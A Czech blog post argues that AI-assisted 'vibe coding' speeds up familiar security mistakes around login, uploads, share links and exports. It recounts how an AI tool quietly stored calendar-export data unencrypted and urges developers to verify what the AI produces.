<p>Takže máme přihlašování. Ale je heslo v databázi uloženo bezpečně nebo je normálně čitelné? Co když zadám do přihlašovacího formuláře něco, co se tam normálně neočekává, například kus kódu? Nebudu schopen přečíst si všechna data z vaší databáze? Nebo se změnou nějakého parametru přihlásit jako jiný uživatel bez toho, že bych znal jeho/její heslo?</p>
<p>Možná si na přihlašování dáme větší pozor, protože tak nějak tušíme, že nakládání s přihlašovacími údaji je kritická část.</p>
<h3>Ale co další, na první pohled nevinné funkce?</h3>
<p>„Přidej upload souborů“. Zní jako běžná funkce. Ale najednou řešíte:</p>
<ul>
<li>Kdo soubor vidí?</li>
<li>Kde je uložený?</li>
<li>Jde stáhnout bez přihlášení?</li>
<li>Může někdo nahrát něco nečekaného?</li>
<li>Zůstane tam soubor i po smazání účtu?</li>
</ul>
<p>Upload není jen „ulož soubor“. Je to nové skladiště cizích dat.</p>
<p>„Přidej sdílení odkazem“</p>
<p>Zní to jako jednoduchá pohodlná funkce.</p>
<ul>
<li>Kdo ten odkaz může otevřít?</li>
<li>Dá se odkaz uhodnout?</li>
<li>Jde později zneplatnit?</li>
<li>Zobrazí víc dat, než by měl?</li>
<li>Indexuje ho někde crawler?</li>
</ul>
<p>Sdílecí odkaz je v podstatě druhé přihlášení. Jen je bez hesla.</p>
<p>Ještě?</p>
<p>„Přidej export do PDF“</p>
<ul>
<li>Zní neškodně, protože uživatel si jen stáhne vlastní data.</li>
<li>Co všechno se do PDF dostane?</li>
<li>Jsou tam metadata?</li>
<li>Je PDF někde dočasně uložené?</li>
<li>Může si někdo stáhnout cizí export?</li>
<li>Zůstávají exporty na serveru?</li>
</ul>
<p>Export často vytvoří druhou kopii dat. A ta druhá kopie už nemusí mít stejnou ochranu jako originál.</p>
<p>Příklady by se daly vymyslet asi na většinu funkcí vaší aplikace. A víte jistě, že tohle vaše AI řeší?</p>
<p><strong>Neudělá tu novou funkci prostě rychle a jednoduše, aby vám udělala radost?</strong></p>
<h2>AI nevymýšlí nové chyby, vyrábí je ve větším tempu.</h2>
<p>U vibe codingu často nejde o úplně nové typy chyb. Jsou to věci, které známe už dlouho: uživatel vidí data někoho jiného, soubor je dostupný bez přihlášení, citlivé údaje skončí v databázi v čitelné podobě, aplikace zapomene ověřit, kdo má k čemu přístup, nebo se do projektu přidá knihovna, které nikdo nerozumí.<br />
Nové je hlavně tempo. Dřív člověk takovou chybu napsal ručně v jedné části aplikace. Dneska AI během pár minut přidá login, upload, export, sdílení a API &#8211; a stejný typ chyby se může objevit na více místech najednou.</p>
<p><em><strong>AI není nový druh chyby. AI je zrychlovač starých chyb.</strong></em></p>
<h2>(Téměř) Fuck Up ze života</h2>
<p>Nejsem programátor. Sice už jsem v životě několik málo věcí naprogramoval, ale nikdy jsem se tomu dlouhodobě nevěnoval. A podle toho to vypadalo. Moje výtvory &#8222;nějak&#8220; fungovaly, ale spíše jen pro moje osobní použití, peníze bych si za to brát asi nemohl.</p>
<p>S nástupem AI nástrojů jsem se rozhodl &#8222;přepsat&#8220; jeden můj starší projekt do obecně použitelné podoby. A protože to znamenalo i nakládání s daty uživatelů, chtěl jsem to mít nastavené tak, že ani já jako provozovatel serveru nemám být schopný data uživatelů číst.</p>
<p>Takže jedno ze základních zadání nebylo jen &#8222;nějak tam dej šifrování&#8220;. Byl to konkrétní požadavek na koncové (end-to-end) šifrování. Protože nejenom, že mě data uživatelů nezajímají. Já je nechci mít v čitelné podobě i pro případ, že by ze serveru unikly, což je riziko, které nesou všichni, kdo nakládají s daty uživatelů, ať jde o malý projekt jednoho autora, nebo velké mezinárodní korporace. Stát se to prostě může &#8211; a stává se to.</p>
<p>Vývoj pokračoval poměrně dobře, AI programovala jak divá, všechno tak nějak fungovalo podle očekávání.</p>
<p>Později jsem přidal export do internetového kalendáře. Praktická funkce, celkem normální požadavek. AI funkci naprogramovala. Fungovalo to.</p>
<p>Po nějaké době jsem chtěl vědět, jestli je opravdu vše v databázi zašifrováno. Data z aplikace šifrovaná byla. Ale vedle těch dat byla tabulka s daty pro export do internetového kalendáře. V čitelné podobě. Ta samá data, která byla &#8222;vedle&#8220; bezpečně šifrovaná.</p>
<p>Export do kalendáře totiž není možné koncově šifrovat. Můj požadavek (z mojí neznalosti) šel proti jednomu ze základních pravidel.</p>
<p>AI implementovala funkci, splnila úkol. Ale že tím porušila jedno ze základních pravidel, mi jaksi zapomněla oznámit.</p>
<p>Je to jako dát na dveře kvalitní zámek, ale pak kvůli pohodlí udělat vedle druhé dveře bez zámku. Ten první zámek pořád existuje. Jen už nechrání celou cestu.<br />
Šifrování nebylo prolomené. Bylo obejité. Ne hackerem. Vývojářem.</p>
<p>Mojí výhodou je, že se bezpečností zabývám. Takže nejenže vím, jak si to zkontrolovat, ale hlavně vím, co si mám kontrolovat. A že si to mám kontrolovat. Takže jsem se s tím mohl vypořádat a automatický export do kalendáře jsem vypnul.</p>
<p>Ale pokud bych to neudělal, sliboval bych svým zákazníkům něco, co není pravda. A pravděpodobně by se na to časem přišlo. A to bych vážně nerad:)</p>
<h2>Don&#8217;t vibe. Verify.</h2>
<p>Nechci tím říct, že nemáme vibe codovat. Já to taky dělám. AI je skvělá na rychlé prototypy, refactoring, hledání řešení, generování částí kódu nebo vysvětlování problémů. Problém není vibe coding. Problém je, když zůstane jen vibe &#8211; když přijmu výsledek, protože vypadá dobře, ale neověřím, co se změnilo.</p>
<p>V kryptu známe „Don’t trust, verify“. Neznamená to „nikdy nikomu nevěř, nikdy nic nepoužívej“. Znamená to: důvěra není kontrola.</p>
<p>A přesně to samé platí pro AI. Don’t vibe. Verify neznamená „nepoužívej AI“. Znamená to: nepřijímej výsledek jen podle dojmu. Ověř sliby, data, oprávnění a nové dveře, které jsi právě vytvořil.</p>
<blockquote><p>Everyone knows that debugging is twice as hard as writing a program in the first place. So if you&#8217;re as clever as you can be when you write it, how will you ever debug it?</p>
<p>— Brian Kernighan, The Elements of Programming Style, 2nd edition, chapter 2</p></blockquote>
<p>The post <a href="https://www.digitalnisebeobrana.cz/promptpunk-i-dont-vibe-verify/">Promptpunk I. &#8211; Don&#8217;t vibe. Verify.</a> appeared first on <a href="https://www.digitalnisebeobrana.cz">DIGITÁLNÍ SEBEOBRANA</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
